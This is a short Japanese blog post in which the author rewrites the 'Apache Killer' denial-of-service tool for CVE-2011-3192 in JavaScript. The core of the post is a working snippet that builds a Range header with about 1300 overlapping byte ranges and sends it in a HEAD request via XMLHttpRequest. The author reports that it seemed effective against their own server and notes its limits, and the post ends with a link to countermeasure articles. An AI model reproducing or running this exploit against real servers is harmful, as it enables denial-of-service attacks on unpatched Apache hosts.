Apache KillerのJS版作ってみた

Apache KillerというApache脆弱性(CVE-2011-3192)をつくDoSツールが出回ってますね。

ソースも割りと簡単に手に入るので読んでみたところ、結構単純なHTTPリクエストを送ってるだけだった。これはJSで書き直せると思ってJSで書き直してみた。特に意味はない。

p="bytes=0-";
for(k=0;k<1300;k++)
  p+= ",5-"+k;

xhr=new XMLHttpRequest();
xhr.open("head","/");
xhr.setRequestHeader("range",p);
xhr.send();

本家ではこれに加えて
・Accept-Encoding: gzip
・Connection: close
を指定しているが、XHRの制限上できないので省略。


自鯖で試したところ確かに効果がありそう(ちゃんと測定したわけじゃないが)


JSなので本家よりもちろん弱い

どうやらrangeヘッダを設定しているとOPTIONメソッドのリクエストが飛ぶのでクロスドメインでは無理(?)


apache killerに対する対策は色々な記事に書かれていますが
http://sourceforge.jp/magazine/11/08/25/0351236
などを参考。